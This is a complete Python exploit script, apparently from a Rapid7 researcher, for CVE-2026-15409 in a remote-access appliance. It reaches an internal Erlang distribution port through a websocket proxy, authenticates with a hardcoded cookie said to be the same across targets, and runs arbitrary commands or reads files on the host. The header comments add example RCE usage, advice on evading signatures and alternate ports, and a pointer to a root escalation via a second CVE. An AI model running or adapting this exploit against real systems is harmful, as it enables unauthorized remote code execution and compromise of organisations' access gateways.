#!/usr/bin/env python3 # Exploit by Ryan Emmons @ Rapid7 w/ Claude Code # Targets the WorkPlace service (usually listening on port 443), likely to be enabled almost all of the time (requires setting up a user auth method like basic AD) # Developed against ex_sra_vm_12.5.0-02002.ova with the June 2026 hotfix applied (latest prior to patch) # example rce usage: python3 cve-2026-15409.py --ws-url 'wss://TARGET_IP_HERE/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'touch /var/tmp/remote_code_execution' # Cookie should be consistent across targets, it's hardcoded for the Erlang process on localhost:1050, based on testing. # Arbitrary bmID values should generally work as long as the value begins with "-3389". Don't write signatures against "serviceType=SSH", since there are alts like TELNET that work too. 0.0.0.0 can be swapped out for alt addr formats as well. # Port 1050 is an exploitation technique, not a hardcoded req for exploitation. EITW was observed targeting port 8188 as well, though it seems easier to just use 1050. There may be other services on different ports that can be exploited too. # Attacker can privesc to root with "remove hotfix" xmlrpc traversal exploit CVE-2026-15410 (targeting localhost:8188) once a shell is established import argparse import base64 import getpass import hashlib import os import secrets import socket import ssl import struct from dataclasses import dataclass from websockets.sync.client import connect as websocket_connect # OTP 25 mandatory distribution flags. DFLAG_EXTENDED_REFERENCES = 0x00000004 DFLAG_FUN_TAGS = 0x00000010 DFLAG_NEW_FUN_TAGS = 0x00000080 DFLAG_EXTENDED_PIDS_PORTS = 0x00000100 DFLAG_EXPORT_PTR_TAG = 0x00000200 DFLAG_BIT_BINARIES = 0x00000400 DFLAG_NEW_FLOATS = 0x00000800 DFLAG_UTF8_ATOMS = 0x00010000 DFLAG_MAP_TAG = 0x00020000 DFLAG_BIG_CREATION = 0x00040000 DFLAG_HANDSHAKE_23 = 0x01000000 FLAGS = ( DFLAG_EXTENDED_REFERENCES | DFLAG_FUN_TAGS | DFLAG_NEW_FUN_TAGS | DFLAG_EXTENDED_PIDS_PORTS | DFLAG_EXPORT_PTR_TAG | DFLAG_BIT_BINARIES | DFLAG_NEW_FLOATS | DFLAG_UTF8_ATOMS | DFLAG_MAP_TAG | DFLAG_BIG_CREATION | DFLAG_HANDSHAKE_23 ) ETF_VERSION = 131 SMALL_INTEGER_EXT = 97 INTEGER_EXT = 98 ATOM_EXT = 100 REFERENCE_EXT = 101 PID_EXT = 103 SMALL_TUPLE_EXT = 104 NEW_PID_EXT = 88 NEWER_REFERENCE_EXT = 90 NIL_EXT = 106 STRING_EXT = 107 LIST_EXT = 108 BINARY_EXT = 109 ATOM_UTF8_EXT = 118 SMALL_ATOM_UTF8_EXT = 119 @dataclass(frozen=True) class Pid: node: str ident: int serial: int creation: int @dataclass(frozen=True) class Reference: node: str ident: int creation: int class WebSocketTransport: SMA_READY_FRAME = b"\x0b\x00\x00\x00\x00" def __init__(self, url, origin=None, user_agent=None, insecure_tls=False): additional_headers = {} if user_agent: additional_headers["User-Agent"] = user_agent ssl_context = None if insecure_tls: ssl_context = ssl._create_unverified_context() self._ws = websocket_connect( url, origin=origin, additional_headers=additional_headers or None, subprotocols=["binary"], compression=None, max_size=None, ping_interval=None, ssl=ssl_context, user_agent_header=None, ) self._recv_buffer = bytearray() self._consume_ready_frame() def _coerce_message(self, message): if isinstance(message, str): return message.encode() if isinstance(message, bytes): return message raise TypeError(f"unexpected websocket message type: {type(message)!r}") def _consume_ready_frame(self): try: message = self._ws.recv(timeout=1) except TimeoutError: return if message is None: return data = self._coerce_message(message) if data != self.SMA_READY_FRAME: self._recv_buffer.extend(data) def sendall(self, data): self._ws.send(base64.b64encode(data).decode("ascii")) def recv(self, size): while len(self._recv_buffer) < size: message = self._ws.recv() if message is None: break self._recv_buffer.extend(self._coerce_message(message)) data = bytes(self._recv_buffer[:size]) del self._recv_buffer[:size] return data def close(self): self._ws.close() def __enter__(self): return self def __exit__(self, exc_type, exc, tb): self.close() def open_transport( host, port, ws_url=None, ws_origin=None, ws_user_agent=None, ws_insecure_tls=False, ): if ws_url: return WebSocketTransport( ws_url, origin=ws_origin, user_agent=ws_user_agent, insecure_tls=ws_insecure_tls, ) return socket.create_connection((host, port), timeout=5) def recv_exact(sock, size): buf = bytearray() while len(buf) < size: chunk = sock.recv(size - len(buf)) if not chunk: raise ConnectionError("peer closed connection") buf.extend(chunk) return bytes(buf) def send_handshake_packet(sock, payload): sock.sendall(struct.pack(">H", len(payload)) + payload) def recv_handshake_packet(sock): size = struct.unpack(">H", recv_exact(sock, 2))[0] return recv_exact(sock, size) def send_dist_packet(sock, payload): sock.sendall(struct.pack(">I", len(payload)) + payload) def recv_dist_packet(sock): size = struct.unpack(">I", recv_exact(sock, 4))[0] if size == 0: return b"" return recv_exact(sock, size) def erl_digest(cookie, challenge): # OTP dist_util.erl uses md5(atom_to_list(Cookie) ++ integer_to_list(Challenge)). return hashlib.md5((cookie + str(challenge)).encode()).digest() def parse_challenge(payload): if payload[:1] == b"N": if len(payload) < 19: raise ValueError("short new-style challenge packet") flags, challenge, creation, name_len = struct.unpack(">QIIH", payload[1:19]) name = payload[19 : 19 + name_len].decode(errors="replace") return flags, challenge, creation, name if payload[:1] == b"n": if len(payload) < 11: raise ValueError("short old-style challenge packet") version, flags, challenge = struct.unpack(">HII", payload[1:11]) name = payload[11:].decode(errors="replace") return flags, challenge, 0, name raise ValueError(f"unexpected challenge packet tag: {payload[:1]!r}") def etf_atom(value): data = value.encode() if len(data) <= 255: return bytes([SMALL_ATOM_UTF8_EXT, len(data)]) + data return bytes([ATOM_UTF8_EXT]) + struct.pack(">H", len(data)) + data def etf_small_int(value): if not 0 <= value <= 255: raise ValueError("small integer out of range") return bytes([SMALL_INTEGER_EXT, value]) def etf_int(value): return bytes([INTEGER_EXT]) + struct.pack(">i", value) def etf_nil(): return bytes([NIL_EXT]) def etf_string(value): data = value.encode() return bytes([STRING_EXT]) + struct.pack(">H", len(data)) + data def etf_binary(value): if isinstance(value, str): value = value.encode() return bytes([BINARY_EXT]) + struct.pack(">I", len(value)) + value def etf_tuple(*items): if len(items) > 255: raise ValueError("tuple arity too large for SMALL_TUPLE_EXT") return bytes([SMALL_TUPLE_EXT, len(items)]) + b"".join(items) def etf_list(items): return bytes([LIST_EXT]) + struct.pack(">I", len(items)) + b"".join(items) + etf_nil() def etf_pid(pid): return ( bytes([PID_EXT]) + etf_atom(pid.node) + struct.pack(">II", pid.ident, pid.serial) + bytes([pid.creation]) ) def etf_reference(ref): return ( bytes([REFERENCE_EXT]) + etf_atom(ref.node) + struct.pack(">I", ref.ident) + bytes([ref.creation]) ) def decode_etf(data, offset=0): tag = data[offset] offset += 1 if tag == ETF_VERSION: return decode_etf(data, offset) if tag == SMALL_INTEGER_EXT: return data[offset], offset + 1 if tag == INTEGER_EXT: return struct.unpack(">i", data[offset : offset + 4])[0], offset + 4 if tag in (ATOM_EXT, ATOM_UTF8_EXT): length = struct.unpack(">H", data[offset : offset + 2])[0] offset += 2 return data[offset : offset + length].decode(errors="replace"), offset + length if tag == SMALL_ATOM_UTF8_EXT: length = data[offset] offset += 1 return data[offset : offset + length].decode(errors="replace"), offset + length if tag == STRING_EXT: length = struct.unpack(">H", data[offset : offset + 2])[0] offset += 2 return data[offset : offset + length].decode(errors="replace"), offset + length if tag == BINARY_EXT: length = struct.unpack(">I", data[offset : offset + 4])[0] offset += 4 return data[offset : offset + length], offset + length if tag == NIL_EXT: return [], offset if tag == SMALL_TUPLE_EXT: arity = data[offset] offset += 1 values = [] for _ in range(arity): value, offset = decode_etf(data, offset) values.append(value) return tuple(values), offset if tag == LIST_EXT: length = struct.unpack(">I", data[offset : offset + 4])[0] offset += 4 values = [] for _ in range(length): value, offset = decode_etf(data, offset) values.append(value) tail, offset = decode_etf(data, offset) if tail != []: values.append(("tail", tail)) return values, offset if tag == PID_EXT: node, offset = decode_etf(data, offset) ident, serial = struct.unpack(">II", data[offset : offset + 8]) offset += 8 creation = data[offset] return Pid(node, ident, serial, creation), offset + 1 if tag == NEW_PID_EXT: node, offset = decode_etf(data, offset) ident, serial, creation = struct.unpack(">III", data[offset : offset + 12]) return Pid(node, ident, serial, creation), offset + 12 if tag == REFERENCE_EXT: node, offset = decode_etf(data, offset) ident = struct.unpack(">I", data[offset : offset + 4])[0] offset += 4 creation = data[offset] return Reference(node, ident, creation), offset + 1 if tag == NEWER_REFERENCE_EXT: length = struct.unpack(">H", data[offset : offset + 2])[0] offset += 2 node, offset = decode_etf(data, offset) creation = struct.unpack(">I", data[offset : offset + 4])[0] offset += 4 ids = [] for _ in range(length): ids.append(struct.unpack(">I", data[offset : offset + 4])[0]) offset += 4 return ("reference", node, creation, tuple(ids)), offset raise ValueError(f"unsupported ETF tag: {tag}") def rpc_call(sock, node_name, module, function, args): sender_pid = Pid(node=node_name, ident=1, serial=0, creation=0) request = etf_tuple( etf_pid(sender_pid), etf_tuple( etf_atom("call"), etf_atom(module), etf_atom(function), etf_list(args), etf_atom("user"), ), ) control = etf_tuple( etf_small_int(6), etf_pid(sender_pid), etf_atom("nocookie"), etf_atom("rex"), ) send_dist_packet(sock, bytes([112, ETF_VERSION]) + control + bytes([ETF_VERSION]) + request) while True: packet = recv_dist_packet(sock) if not packet: continue if packet[0] != 112: raise RuntimeError(f"unexpected distribution packet type: {packet[0]}") control_term, offset = decode_etf(packet, 1) message_term, _ = decode_etf(packet, offset) if ( isinstance(control_term, tuple) and control_term and control_term[0] == 2 and isinstance(message_term, tuple) and len(message_term) == 2 and message_term[0] == "rex" ): return message_term[1] def format_term(value): if isinstance(value, bytes): return value.decode(errors="replace") if isinstance(value, tuple): return "{" + ", ".join(format_term(item) for item in value) + "}" if isinstance(value, list): return "[" + ", ".join(format_term(item) for item in value) + "]" return str(value) def connect( host, port, cookie, node_name, rpc=None, ws_url=None, ws_origin=None, ws_user_agent=None, ws_insecure_tls=False, ): node_name_bytes = node_name.encode() my_creation = 0 with open_transport( host, port, ws_url=ws_url, ws_origin=ws_origin, ws_user_agent=ws_user_agent, ws_insecure_tls=ws_insecure_tls, ) as sock: name_packet = ( b"N" + struct.pack(">QIH", FLAGS, my_creation, len(node_name_bytes)) + node_name_bytes ) send_handshake_packet(sock, name_packet) status = recv_handshake_packet(sock) if not status.startswith(b"s"): raise RuntimeError(f"unexpected status packet: {status!r}") status_text = status[1:].decode(errors="replace") if status_text not in ("ok", "ok_simultaneous"): raise RuntimeError(f"connection rejected: {status_text}") challenge_packet = recv_handshake_packet(sock) peer_flags, peer_challenge, peer_creation, peer_name = parse_challenge( challenge_packet ) my_challenge = secrets.randbits(32) reply = b"r" + struct.pack(">I", my_challenge) + erl_digest(cookie, peer_challenge) send_handshake_packet(sock, reply) ack = recv_handshake_packet(sock) if ack[:1] != b"a": raise RuntimeError(f"unexpected ack packet: {ack!r}") if ack[1:] != erl_digest(cookie, my_challenge): raise RuntimeError("cookie authentication failed") rpc_result = None if rpc is not None: rpc_result = rpc_call(sock, node_name, *rpc) return peer_name, peer_flags, peer_creation, rpc_result def main(): parser = argparse.ArgumentParser() parser.add_argument("--host", default="127.0.0.1") parser.add_argument("--port", type=int, default=1050) parser.add_argument("--cookie", default="10ecad5b446e86864832904cd439b6b70262") parser.add_argument("--name", default=f"py_{os.getpid()}@127.0.0.1") parser.add_argument("--ws-url") parser.add_argument("--ws-origin") parser.add_argument("--ws-user-agent") parser.add_argument("--ws-insecure-tls", action="store_true") parser.add_argument("--rpc", action="store_true", help="call erlang:node/0 after authenticating") parser.add_argument("--read-file", help="call file:read_file/1 for the given path") parser.add_argument("--exec", dest="exec_command", help="call os:cmd/1 with the given command") args = parser.parse_args() cookie = args.cookie or getpass.getpass("Erlang cookie: ") if args.exec_command: rpc = ("os", "cmd", [etf_string(args.exec_command)]) elif args.read_file: rpc = ("file", "read_file", [etf_string(args.read_file)]) elif args.rpc: rpc = ("erlang", "node", []) else: rpc = None peer_name, peer_flags, peer_creation, rpc_result = connect( args.host, args.port, cookie, args.name, rpc=rpc, ws_url=args.ws_url, ws_origin=args.ws_origin, ws_user_agent=args.ws_user_agent, ws_insecure_tls=args.ws_insecure_tls, ) print(f"Authenticated to {peer_name}") print(f"Peer flags: 0x{peer_flags:x}") print(f"Peer creation: {peer_creation}") if args.exec_command: print(f"RPC os:cmd/1 => {format_term(rpc_result)}") elif args.read_file: print(f"RPC file:read_file/1 => {format_term(rpc_result)}") elif args.rpc: print(f"RPC erlang:node/0 => {rpc_result}") if __name__ == "__main__": main()